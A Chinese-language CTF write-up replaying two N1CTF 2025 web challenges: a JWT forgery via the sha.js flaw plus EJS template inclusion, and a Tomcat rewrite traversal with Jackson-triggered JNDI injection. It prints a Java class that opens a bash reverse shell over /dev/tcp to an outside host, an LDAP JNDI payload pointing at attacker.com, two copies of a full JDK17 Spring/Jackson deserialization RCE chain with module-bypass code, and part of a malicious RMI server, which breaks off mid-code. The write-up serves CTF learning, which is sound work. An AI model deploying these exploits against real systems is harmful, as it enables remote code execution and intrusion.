N1CTF 2025 赛后复现

N1CTF2025 赛后复现

只看了这两个题,且没做出来 😔

eezzjs

管理员账号为 admin

密码不可爆破

jwt 的密钥也是一样的

自己实现的签名和校验,肯定有猫腻

const signJWT = (payload, { expiresIn } = {}, secret = JWT_SECRET) => {
    const header = { alg: 'HS256', typ: 'JWT' };
    const now = Math.floor(Date.now() / 1000);
    console.log(payload)
    const body = { ...payload, length:payload.username.length,iat: now };
    if (expiresIn) {
        body.exp = now + expiresIn;
    }

    return [
        toBase64Url(JSON.stringify(header)),
        toBase64Url(JSON.stringify(body)),
        sha256(...[JSON.stringify(header), body, secret])
    ].join('.');
};

const verifyJWT = (token, secret = JWT_SECRET) => {
    if (typeof token !== 'string') {
        return null;
    }

    const parts = token.split('.');
    if (parts.length !== 3) {
        return null;
    }

    const [encodedHeader, encodedPayload, signature] = parts;

    let header;
    let payload;
    try {
        header = JSON.parse(fromBase64Url(encodedHeader).toString());
        payload = JSON.parse(fromBase64Url(encodedPayload).toString());
    } catch (err) {
        return null;
    }

    const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);

    let providedSignature;
    let expectedSignature;
    try {
        providedSignature = Buffer.from(signature, 'hex');
        expectedSignature = Buffer.from(expectedSignatureHex, 'hex');
    } catch (err) {
        return null;
    }

    if (
        providedSignature.length !== expectedSignature.length ||
        !crypto.timingSafeEqual(providedSignature, expectedSignature)
    ) {
        return null;
    }

    if (header.alg !== 'HS256') {
        return null;
    }

    if (payload.exp && Math.floor(Date.now() / 1000) >= payload.exp) {
        return null;
    }

    return payload;
};

查依赖发现 sha.js 不是最新的

CVE-2025-9288

https://github.com/advisories/GHSA-95m3-7q98-8xr5

先歇了,明天看

感觉不太好利用 应该是打哈希碰撞?

都是字符串,构不出碰撞

复现:

当然构不出碰撞(

这题需要打哈希回滚

const parts = token.split('.');
const [encodedHeader, encodedPayload, signature] = parts;

let header;
let payload;
try {
    header = JSON.parse(fromBase64Url(encodedHeader).toString());
    payload = JSON.parse(fromBase64Url(encodedPayload).toString());
} catch (err) {
    return null;
}

const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);

注意到 jwt 校验时的 header 和 body 其实都是从传入的 token 中解密的,也就是说 length 其实在校验时也可控

所以构造 length=0 即可绕过

当时做的时候没有意识到这个问题,一直在试碰撞的构造方法

另一个需要注意的地方是测试的密钥长度也要和题目一致,当时没成功也有这个一部分原因

const JWT_SECRET = "a".repeat(18);
const signJWT = (payload, { expiresIn } = {}, secret = JWT_SECRET) => {
    const header = { alg: 'HS256', typ: 'JWT' };
    const now = Math.floor(Date.now() / 1000);
    console.log(payload)
    const body = { ...payload, length: -45, iat: now };
    if (expiresIn) {
        body.exp = now + expiresIn;
    }

    return [
        toBase64Url(JSON.stringify(header)),
        toBase64Url(JSON.stringify(body)),
        sha256(...[JSON.stringify(header), body, secret])
        
    ].join('.');
};
const token = signJWT({ username: "admin" }, { expiresIn: 3600 });
console.log(token)
//eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwibGVuZ3RoIjotNDUsImlhdCI6MTc2MjE3NzczOCwiZXhwIjoxNzYyMTgxMzM4fQ.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1

const v = verifyJWT(token,"b".repeat(18))
console.log(v)
//{ username: 'admin', length: -45, iat: 1762177738, exp: 1762181338 }

45 是 header 和 secret 的总长,这里是慢慢试出来的

下面看一下上传文件的源码

function uploadFile(req, res) {
    var {filedata,filename}=req.body;
    var ext = path.extname(filename).toLowerCase();

    if (/js/i.test(ext)) {
        return  res.status(403).send('Denied filename');
    }
    var filepath = path.join(uploadDir,filename);

    if (fs.existsSync(filepath)) {
        return res.status(500).send('File already exists');
    }

    fs.writeFile(filepath, filedata, 'base64', (err) => {
        if (err) {
            console.log(err);
            res.status(500).send('Error saving file');
        } else {
            res.status(200).send({ message: 'File uploaded successfully', path: `/uploads/${path}` });
        }
    });
}

对后缀名做了过滤,filename 可控,应该是打 ejs 模板

ejs 引擎默认存在 templ 参数会导致模板文件包含

后缀名可以通过 /. 绕过,也可以使用 .node

其实不难,做的时候想当然了

n1cat

附件就下面这个

RewriteCond %{QUERY_STRING} (^|&)path=([^&]+)
RewriteRule ^/download$ /%2 [B,L]

apache 的一个配置文件

大概就是 download?path=xxx 会重定向到网站根目录下读文件

Apache Tomcat RewriteValve 目录遍历漏洞 | CVE-2025-55752 复现-CSDN 博客

版本是 Apache Tomcat/9.0.108 确实有这个漏洞

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<servlet>
<servlet-name>welcomeServlet</servlet-name>
<servlet-class>ctf.n1cat.welcomeServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>welcomeServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>

没有别的接口了

读一下源码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package ctf.n1cat;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(
    name = "welcomeServlet",
    value = {"/"}
)
public class welcomeServlet extends HttpServlet {
    private static final String DEFAULT_NAME = "guest";
    private static final String DEFAULT_WORD = "welcome";
    private static final ObjectMapper OBJECT_MAPPER = new ObjectMapper();

    public welcomeServlet() {
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
        String requestUri = request.getRequestURI();
        String contextPath = request.getContextPath();
        String pathWithinApp = requestUri.substring(contextPath.length());
        if (this.shouldDelegate(pathWithinApp)) {
            this.delegateToDefaultResource(pathWithinApp, request, response);
        } else {
            String jsonPayload = request.getParameter("json");
            String nameParam = request.getParameter("name");
            String wordParam = request.getParameter("word");
            String urlParam = request.getParameter("url");
            if (this.isBlank(jsonPayload) && !this.isBlank(nameParam) && !this.isBlank(wordParam)) {
                ObjectNode composed = OBJECT_MAPPER.createObjectNode();
                composed.put("name", nameParam);
                composed.put("word", wordParam);
                if (!this.isBlank(urlParam)) {
                    composed.put("url", urlParam);
                }

                jsonPayload = composed.toString();
            }

            if (this.isBlank(jsonPayload)) {
                response.sendRedirect(this.defaultRedirectTarget(request));
            } else {
                try {
                    User user = (User)OBJECT_MAPPER.readValue(jsonPayload, User.class);
                    String name = user.getName();
                    String word = user.getWord();
                    String url = user.getUrl();
                    if (this.isBlank(name) || this.isBlank(word)) {
                        response.sendRedirect(this.defaultRedirectTarget(request));
                        return;
                    }

                    this.renderResponse(response, name, word, url);
                } catch (JsonProcessingException var14) {
                    response.sendError(400, "Invalid JSON payload");
                } catch (RuntimeException var15) {
                    response.sendError(400, "Invalid user data");
                }

            }
        }
    }

    private boolean shouldDelegate(String pathWithinApp) {
        return pathWithinApp != null && !pathWithinApp.isEmpty() && !"/".equals(pathWithinApp);
    }

    private void delegateToDefaultResource(String pathWithinApp, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        RequestDispatcher defaultDispatcher = this.getServletContext().getNamedDispatcher("default");
        if (defaultDispatcher != null) {
            defaultDispatcher.forward(request, response);
        } else {
            request.getRequestDispatcher(pathWithinApp).forward(request, response);
        }

    }

    private void renderResponse(HttpServletResponse response, String name, String word, String url) throws IOException {
        response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();

        try {
            out.println("<html><body>");
            String var10001 = this.escapeHtml(name);
            out.println("<h1>" + var10001 + "</h1>");
            var10001 = this.escapeHtml(word);
            out.println("<p>" + var10001 + "</p>");
            if (!this.isBlank(url)) {
                var10001 = this.escapeHtml(url);
                out.println("<p>URL: " + var10001 + "</p>");
            }

            out.println("</body></html>");
        } catch (Throwable var9) {
            if (out != null) {
                try {
                    out.close();
                } catch (Throwable var8) {
                    var9.addSuppressed(var8);
                }
            }

            throw var9;
        }

        if (out != null) {
            out.close();
        }

    }

    private String escapeHtml(String input) {
        return input == null ? "" : input.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("\"", "&quot;").replace("'", "&#x27;");
    }

    private String defaultRedirectTarget(HttpServletRequest request) {
        String var10000 = request.getContextPath();
        return var10000 + "/?name=" + this.urlEncode("guest") + "&word=" + this.urlEncode("welcome");
    }

    private boolean isBlank(String value) {
        return value == null || value.trim().isEmpty();
    }

    private String urlEncode(String value) {
        return URLEncoder.encode(value, StandardCharsets.UTF_8);
    }
}

存在 jackson 反序列化

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
        String requestUri = request.getRequestURI();
        String contextPath = request.getContextPath();
        String pathWithinApp = requestUri.substring(contextPath.length());
        if (this.shouldDelegate(pathWithinApp)) {
            this.delegateToDefaultResource(pathWithinApp, request, response);
        } else {
            String jsonPayload = request.getParameter("json");
            String nameParam = request.getParameter("name");
            String wordParam = request.getParameter("word");
            String urlParam = request.getParameter("url");
            if (this.isBlank(jsonPayload) && !this.isBlank(nameParam) && !this.isBlank(wordParam)) {
                ObjectNode composed = OBJECT_MAPPER.createObjectNode();
                composed.put("name", nameParam);
                composed.put("word", wordParam);
                if (!this.isBlank(urlParam)) {
                    composed.put("url", urlParam);
                }

                jsonPayload = composed.toString();
            }
         //如果json为空但三个值不是空,为你构造成json

            if (this.isBlank(jsonPayload)) {
                response.sendRedirect(this.defaultRedirectTarget(request));
            } else {
                try {// json反序列化为user对象
                    User user = (User)OBJECT_MAPPER.readValue(jsonPayload, User.class);
                    String name = user.getName();
                    String word = user.getWord();
                    String url = user.getUrl();
                    if (this.isBlank(name) || this.isBlank(word)) {
                        response.sendRedirect(this.defaultRedirectTarget(request));
                        return;
                    }

                    this.renderResponse(response, name, word, url);
                } catch (JsonProcessingException var14) {
                    response.sendError(400, "Invalid JSON payload");
                } catch (RuntimeException var15) {
                    response.sendError(400, "Invalid user data");
                }

            }
        }
    }

User 类的源码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package ctf.n1cat;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class User {
    private String name;
    private String word;
    private String url;

    public User() {
    }

    public String getName() {
        return this.name;
    }

    public String getWord() {
        return this.word;
    }

    public void setWord(String password) {
        this.word = password;
    }

    public void setName(String name) throws NamingException {
        this.name = name;
    }

    public String getUrl() {
        return this.url;
    }

    public void setUrl(String url) {
        try {
            (new InitialContext()).lookup(url);
        } catch (NamingException var3) {
            NamingException e = var3;
            throw new RuntimeException(e);
        }
    }
}

setUrl 方法存在 jndi 注入

不知道怎么看 jackson 的版本,直接打打看好了

思路就是用 jackson 触发 setter,然后 jndi

没打过 jndi 注入,学习一下先

public class Exploit {
    static {
        try {
            String host = "120.xxx.xxx.xxx";
            int port = 9999;
            Runtime.getRuntime().exec(new String[]{
                "/bin/bash", "-c",
                "bash -i >& /dev/tcp/" + host + "/" + port + " 0>&1"
            });
        } catch (Exception e) {}
    }
}

先尝试打反弹 shell,不出网的话再说

{
  "name": "xnftrone",
  "word": "kap0kyyds",
  "url": "ldap://attacker.com:9999/#Exploit"
}

我去搭个 ldap 环境(

好消息:出网 坏消息:没弹成功
有可能是这个 jdk 版本打不了 jndi

可能需要手动构造

复现:

这道题目是第一次接触 jndi,所以来系统学习一下

首先 JNDI 是 java 的一个应用程序的 api

常规的攻击方式为:JNDI 在解析某些协议(如 ldap://rmi://)时,如果返回的对象是 Reference 或 Referenceable 类型,JNDI 会尝试从指定的 codebase(代码库地址)动态加载类并实例化。

这种加载方式存在 java 版本的限制

在本题中,JDK 版本为 17,因此无法通过动态加载类的方式攻击,这时我们需要了解高版本 jndi 利用的序列化与反序列化机制

java 高版本下各种 JNDI Bypass 方法复现 - bitterz - 博客园

简单来说高版本的 jndi 有两种利用方法

  1. 利用 rmi 加载时的 readObject
  2. 利用本地工厂类绕过 url 可信验证

可用的 jackson 反序列化链子可以从这里找到

https://github.com/datouo/CTF-Java-Gadget

我们主要来看看这个牛逼链子

高版本 JDK 下的 Spring 原生反序列化链 – fushulingのblog

在之前的链子中,我们有一条这样的链子

EventListenerList#readObject() -> POJONode#toString() -> getter

一般情况下,我们会使用 getter 打 TemplatesImpl.getOutputProperties() 链,但是在 JDK 9 之后,java 引入了 JPMS 机制,且在 JDK17 时被强化

由于这个机制的存在,我们在利用 TemplatesImpl 时,com.sun.org.apache.xalan.internal.xsltc.trax 没有 export 给外部,因此会受到模块机制的阻拦

同样的,利用时我们要求目标恶意类需要继承 AbstractTranslet 接口,这也是无法通过 JPMS 的

实际上这都是强封装机制的问题,从这篇文章中我们可以了解到如何绕过

JDK 高版本的模块化以及反射类加载限制绕过 | stoocea's blog

private static Method getMethod(Class clazz, String methodName, Class[] params) {
    Method method = null;
    while (clazz!=null){
        try {
            method = clazz.getDeclaredMethod(methodName,params);
            break;
        }catch (NoSuchMethodException e){
            clazz = clazz.getSuperclass();
        }
    }
    return method;
}
private static Unsafe getUnsafe() {
    Unsafe unsafe = null;
    try {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);
    } catch (Exception e) {
        throw new AssertionError(e);
    }
    return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
    try {
        Unsafe unsafe = getUnsafe();
        Class currentClass = this.getClass();
        try {
            Method getModuleMethod = getMethod(Class.class, "getModule", new
                    Class[0]);
            if (getModuleMethod != null) {
                for (Class aClass : classes) {
                    Object targetModule = getModuleMethod.invoke(aClass, new
                            Object[]{});
                    unsafe.getAndSetObject(currentClass,
                            unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                }
            }
        }catch (Exception e) {
        }
    }catch (Exception e){
        e.printStackTrace();
    }
}

原理大概就是欺骗 JVM 当前类的模块为另一个合法模块

对于 AbstractTranslet 的问题,我们可以这么绕过

TemplatesImpl 分析 🦖 Whoopsunix

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
// 满足条件 1. classCount也就是_bytecodes的数量大于1   2. _transletIndex >= 0
// 可去掉 AbstractTranslet

最后一个问题是,我们需要一个方法来稳定 getter,因为其本身触发的 getter 方法是不确定的

JDBC Attack 与高版本 JDK 下的 JNDI Bypass – 奇安信技术研究院

这里可以使用 Spring Boot 里一个代理工具类进行封装,使 Jackson 只获取到我们需要的 getter,就实现了稳定利用。

public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
    AdvisedSupport advisedSupport = new AdvisedSupport();
    advisedSupport.setTarget(templates);
    Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
    constructor.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
    Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
    return proxy;
}

这个方法为 TemplatesImpl 创建了一个动态代理,使其看起来像是一个 Templates 的接口实现

javax.xml.transform.Templatesjava.xml 模块中是公开 exports 的,因此绕过了强封装问题

同时 Templates 接口只有 getOutputProperties() 一个 getter,因此成功产生了稳定的 getter

fushuling 师傅博客给出的最终 poc

import javax.swing.event.EventListenerList;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;

// --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class SpringRCE {
    public static void main(String[] args) throws Exception{
        // 删除writeReplace保证正常反序列化
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        // 把模块强行修改,切换成和目标类一样的 Module 对象
        ArrayList<Class> classes = new ArrayList<>();
        classes.add(TemplatesImpl.class);
        classes.add(POJONode.class);
        classes.add(EventListenerList.class);
        classes.add(SpringRCE.class);
        classes.add(Field.class);
        classes.add(Method.class);
        new SpringRCE().bypassModule(classes);

        // ===== EXP 构造 =====
        byte[] code1 = getTemplateCode();
        byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
        setFieldValue(templates,"_transletIndex",0);

        POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));

        EventListenerList eventListenerList = getEventListenerList(node);

        serialize(eventListenerList, true);
    }

    public static byte[] serialize(Object obj, boolean flag) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
        return baos.toByteArray();
    }

    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }

    public static byte[] getTemplateCode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        String block = "Runtime.getRuntime().exec(\"calc.exe\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }

    public static EventListenerList getEventListenerList(Object obj) throws Exception{
        EventListenerList list = new EventListenerList();
        UndoManager undomanager = new UndoManager();

        //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
        Vector vector = (Vector) getFieldValue(undomanager, "edits");
        vector.add(obj);

        setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
        return list;
    }

    private static Method getMethod(Class clazz, String methodName, Class[]
            params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new
                        Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new
                                Object[]{});
                        unsafe.getAndSetObject(currentClass,
                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = null;
        Class c = obj.getClass();
        for (int i = 0; i < 5; i++) {
            try {
                field = c.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e) {
                c = c.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }

    public static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

官方 wp 的 poc

import javax.swing.event.EventListenerList;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;

// --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class SpringRCE {
    public static void main(String[] args) throws Exception{
        // 删除writeReplace保证正常反序列化
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        // 把模块强行修改,切换成和目标类一样的 Module 对象
        ArrayList<Class> classes = new ArrayList<>();
        classes.add(TemplatesImpl.class);
        classes.add(POJONode.class);
        classes.add(EventListenerList.class);
        classes.add(SpringRCE.class);
        classes.add(Field.class);
        classes.add(Method.class);
        new SpringRCE().bypassModule(classes);

        // ===== EXP 构造 =====
        byte[] code1 = getTemplateCode();
        byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();//whatever 绕过AbstractTranslet

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
        setFieldValue(templates,"_transletIndex",0);

        POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));

        EventListenerList eventListenerList = getEventListenerList(node);

        serialize(eventListenerList, true);
    }

    public static byte[] serialize(Object obj, boolean flag) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
        return baos.toByteArray();
    }

    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }

    public static byte[] getTemplateCode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        String block = "Runtime.getRuntime().exec(\"calc.exe\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }

    public static EventListenerList getEventListenerList(Object obj) throws Exception{
        EventListenerList list = new EventListenerList();
        UndoManager undomanager = new UndoManager();

        //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
        Vector vector = (Vector) getFieldValue(undomanager, "edits");
        vector.add(obj);

        setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
        return list;
    }

    private static Method getMethod(Class clazz, String methodName, Class[]
            params) {
        Method method = null;
        while (clazz!=null){
            try {
                method = clazz.getDeclaredMethod(methodName,params);
                break;
            }catch (NoSuchMethodException e){
                clazz = clazz.getSuperclass();
            }
        }
        return method;
    }
    private static Unsafe getUnsafe() {
        Unsafe unsafe = null;
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get(null);
        } catch (Exception e) {
            throw new AssertionError(e);
        }
        return unsafe;
    }
    public void bypassModule(ArrayList<Class> classes){
        try {
            Unsafe unsafe = getUnsafe();
            Class currentClass = this.getClass();
            try {
                Method getModuleMethod = getMethod(Class.class, "getModule", new
                        Class[0]);
                if (getModuleMethod != null) {
                    for (Class aClass : classes) {
                        Object targetModule = getModuleMethod.invoke(aClass, new
                                Object[]{});
                        unsafe.getAndSetObject(currentClass,
                                unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                    }
                }
            }catch (Exception e) {
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
        Field field = null;
        Class c = obj.getClass();
        for (int i = 0; i < 5; i++) {
            try {
                field = c.getDeclaredField(fieldName);
            } catch (NoSuchFieldException e) {
                c = c.getSuperclass();
            }
        }
        field.setAccessible(true);
        return field.get(obj);
    }

    public static void setFieldValue(Object obj, String field, Object val) throws Exception {
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

服务器

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import javax.net.ServerSocketFactory;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class evilServer implements Runnable {
    public static void main(String[] args) {
        //before you start it, you should set vm options:"--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED"
        evilServer.start();
    }
    private static final Logger log = LoggerFactory.getLogger(evilServer.class);
    public String ip;
    public int port;
    private ServerSocket ss;
    private final Object waitLock = new Object();
    private boolean exit;
    private boolean hadConnection;
    private static evilServer serverInstance;

    public evilServer(String ip, int port) {
        try {
            this.ip = ip;
            this.port = port;
            this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    public static synchronized void start() {
        serverInstance = new evilServer("0.0.0.0", 8899);
        Thread serverThread = new Thread(serverInstance);
        serverThread.start();
        log.warn("[RMI Server] is already running.");
    }

    public static synchronized void stop() {
        if (serverInstance != null) {
            serverInstance.exit = true;

            try {
                serverInstance.ss.close();
            } catch (IOException e) {
                e.printStackTrace();
            }

            serverInstance = null;
            log.info("[RMI Server] stopped.");
        }

    }

    public boolean waitFor(int i) {
        try {
            if (this.hadConnection) {
                return true;
            } else {
                log.info("[RMI Server] Waiting for connection");
                synchronized(this.waitLock) {
                    this.waitLock.wait((long)i);
                }

                return this.hadConnection;
            }
        } catch (InterruptedException var5) {
            return false;
        }
    }

    public void close() {
        this.exit = true;

        try {
            this.ss.close();
        } catch (IOException var4) {
        }

        synchronized(this.waitLock) {
            this.waitLock.notify();
        }
    }

    public void run() {
        log.info("[RMI Server] Listening on {}:{}", "127.0.0.1", "8899");

        try {
            Socket s = null;

            try {
                while(!this.exit && (s = this.ss.accept()) != null) {
                    try {
                        s.setSoTimeout(5000);
                        InetSocketAddress remote = (InetSocketAddress)s.getRemoteSocketAddress();
                        log.info("[RMI Server] Have connection from " + remote);
                        InputStream is = s.getInputStream();
                        InputStream bufIn = (InputStream)(is.markSupported() ? is : new BufferedInputStream(is));
                        bufIn.mark(4);
                        DataInputStream in = new DataInputStream(bufIn);
                        Throwable var6 = null;

                        try {
                            int magic = in.readInt();
                            short version = in.readShort();
                            if (magic == 1246907721 && version == 2) {
                                OutputStream sockOut = s.getOutputStream();
                                BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
                                DataOutputStream out = new DataOutputStream(bufOut);
                                Throwable var12 = null;

                                try {
                                    byte protocol = in.readByte();
                                    switch (protocol) {
                                        case 75:
                                            out.writeByte(78);
                                            if (remote.getHostName() != null) {
                                                out.writeUTF(remote.getHostName());
                                            } else {
                                                out.writeUTF(remote.getAddress().toString());
                                            }

                                            out.writeInt(remote.getPort());
